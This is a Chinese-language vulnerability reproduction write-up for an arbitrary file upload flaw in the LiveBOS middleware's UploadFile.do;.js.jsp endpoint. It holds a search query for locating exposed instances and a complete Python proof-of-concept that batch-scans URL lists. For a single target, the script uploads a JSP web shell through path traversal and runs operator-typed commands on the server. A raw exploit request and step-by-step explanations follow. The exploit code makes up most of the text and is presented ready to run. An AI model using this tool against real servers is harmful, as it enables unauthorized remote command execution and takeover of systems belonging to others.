》》》漏洞描述《《《
LiveBOS,由顶点软件股份有限公司开发的对象型业务架构中间件及其集成开发工具,是一种创新的软件开发模式,以业务模型建立为核心,直接完成软件开发。它适用于各类基于WEB的专业应用软件和行业大型应用的开发。LiveBOS由三个相对独立的产品组成:运行支持支撑平台 LiveBOS Server,开发集成环境LiveBOS Studio以及运维管理工具LiveBOS Manager。然而,其接口UploadFile.do;.js.jsp存在任意文件上传漏洞,攻击者可以利用该漏洞获取系统服务器权限,从而控制该系统。
》》》影响范围《《《
》》》资产收集《《《
鹰图检索:web.body=="LiveBOS"
》》》漏洞复现《《《
使用poc批量扫描
import requests
import urllib3
import re,string,random
from urllib.parse import urljoin
import argparse
import time
import ssl
import urllib.request
import random
import string
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def read_file(file_path):
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
def check(url):
url = url.rstrip("/")
target = url+"/feed/UploadFile.do;.js.jsp"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3"
}
data="""-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3\r\nContent-Disposition: form-data; name="file"; filename="//../../../../tmptest1.jsp"\r\nContent-Type: image/png\r\n\r\n<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3""".encode('utf-8')
try:
response = urllib.request.Request(target, headers=headers, data=data, method="POST", unverifiable=True)
res = urllib.request.urlopen(response)
upload_status_code = res.getcode()
upload_content = res.read().decode()
if upload_status_code == 200 and 'oldfileName' in upload_content and 'newFileName' in upload_content:
result_url = url + '/tmptest1.jsp;.js.jsp'
result_response = urllib.request.Request(result_url, headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"}, method="GET", unverifiable=True)
res = urllib.request.urlopen(result_response)
result_status_code = res.getcode()
result_content = res.read().decode()
if result_status_code == 200 and 'HelloWorldTest' in result_content:
print(f"\033[31mDiscovered:{url}: LiveBos_UploadFile_ArbiraryFileUpload!\033[0m")
return True
except Exception as e:
pass
def run(url):
url = url.rstrip("/")
target = url + "/feed/UploadFile.do;.js.jsp"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3"
}
if check(url):
while True:
command = input("\033[34mPlease input command (stop input:exit):\033[0m")
if "exit" not in command:
filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=5))
data = """-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3\r\nContent-Disposition: form-data; name="file"; filename="//../../../../replace1.jsp"\r\nContent-Type: image/png\r\n\r\n<% java.io.InputStream in = Runtime.getRuntime().exec(\"replace2\").getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3"""
data = data.replace('replace1',filename).replace('replace2',command).encode('utf-8')
try:
response = urllib.request.Request(target, headers=headers, data=data, method="POST",unverifiable=True)
res = urllib.request.urlopen(response)
upload_status_code = res.getcode()
upload_content = res.read().decode()
if upload_status_code == 200 and 'oldfileName' in upload_content and 'newFileName' in upload_content:
result_url = url + '/{}.jsp;.js.jsp'.format(filename)
result_response = urllib.request.Request(result_url, headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"},method="GET", unverifiable=True)
res = urllib.request.urlopen(result_response)
result_status_code = res.getcode()
result_content = res.read().decode()
if result_status_code == 200:
print(result_content)
except Exception as e:
pass
else:
break
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="URL")
parser.add_argument("-f", "--txt", help="file")
args = parser.parse_args()
url = args.url
txt = args.txt
if url:
run(url)
elif txt:
urls = read_file(txt)
for url in urls:
check(url)
else:
print("help")
导入模块
requests
和urllib.request
用于发起网络请求。urllib3
用于禁用SSL警告。re
,string
,random
用于生成随机字符串和其他文本处理任务。argparse
用于处理命令行参数。time
用于时间相关的操作(虽然在这个脚本中没有使用)。ssl
用于创建不验证证书的SSL上下文。函数定义
read_file(file_path)
读取一个包含URL列表的文本文件,并返回这些URL。check(url)
尝试向给定的URL发起POST请求,上传一个包含恶意JSP代码的文件,并检查响应是否成功。如果成功,会打印一条消息。run(url)
是主要的函数,用于循环执行命令。它首先调用check(url)
来验证漏洞是否存在,如果存在,则进入一个循环,在循环中用户可以输入命令,这些命令会被封装进新的JSP文件并上传,然后执行并显示结果。主函数
- 使用
argparse
解析命令行参数,支持-u
或--url
参数指定单个URL,以及-f
或--txt
参数指定包含多个URL的文件路径。- 如果提供了
-u
参数,直接调用run(url)
。- 如果提供了
-f
参数,从文件中读取URL列表,并对每个URL调用check(url)
。- 如果没有提供任何参数,打印帮助信息。
具体代码分析
check(url)
- 构建请求头和POST数据。
- 发起POST请求,并检查响应状态码和内容是否表明上传成功。
- 如果上传成功,构建结果URL并获取响应内容。
- 如果响应内容包含预期的字符串,打印发现漏洞的消息。
run(url)
- 调用
check(url)
来验证漏洞。- 如果漏洞存在,进入一个无限循环,等待用户输入命令。
- 用户输入的命令被嵌入到一个新的JSP文件中,并上传。
- 获取新上传文件的响应内容,并显示。
- 如果用户输入 "exit",则退出循环。
将批量下载的url 放到host.txt 中 并cmd运行poc脚本:python poc.py -f host.txt
构造数据包
POST /feed/UploadFile.do;.js.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3
Content-Length: 343
-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
Content-Disposition: form-data; name="file"; filename="//../../../../tmptest.jsp"
Content-Type: image/png
<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
POST /feed/UploadFile.do;.js.jsp HTTP/1.1
: 这是HTTP请求的方法和目标URL。这里使用了POST方法来发送数据,并且尝试访问/feed/UploadFile.do;.js.jsp
这个端点。注意这里的;
字符,可能是为了绕过某些安全检查或过滤规则。
Host: x.x.x.x
: 指定了请求的目标服务器地址。
User-Agent
: 提供了客户端浏览器的信息,这在大多数情况下用于服务器识别客户端环境。
Content-Type: multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3
: 表示发送的数据格式为multipart/form-data
,这是文件上传时常用的数据格式,并指定了数据边界。
Content-Length: 343
: 表明了请求体的长度为343字节。接下来是实际的POST数据:
-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
: 这是数据边界的开始标记。
Content-Disposition: form-data; name="file"; filename="//../../../../tmptest.jsp"
: 指定了上传文件的名称为tmptest.jsp
,并试图通过使用../../../../
这样的相对路径来遍历目录结构,以将文件保存到服务器的其他位置。
Content-Type: image/png
: 指定了文件的MIME类型为image/png
,但实际上上传的是一个包含Java Server Pages (JSP)代码的文本文件。
<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
: 这是一段JSP代码,当该文件被作为网页请求时会被执行。这段代码首先输出字符串"HelloWorldTest"
,然后删除该文件自身。
-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
: 数据边界的结束标记。
构造数据包,上传一个tmptest.jsp文件
URL访问刚刚上传的文件ip/tmptest.jsp;.js.jsp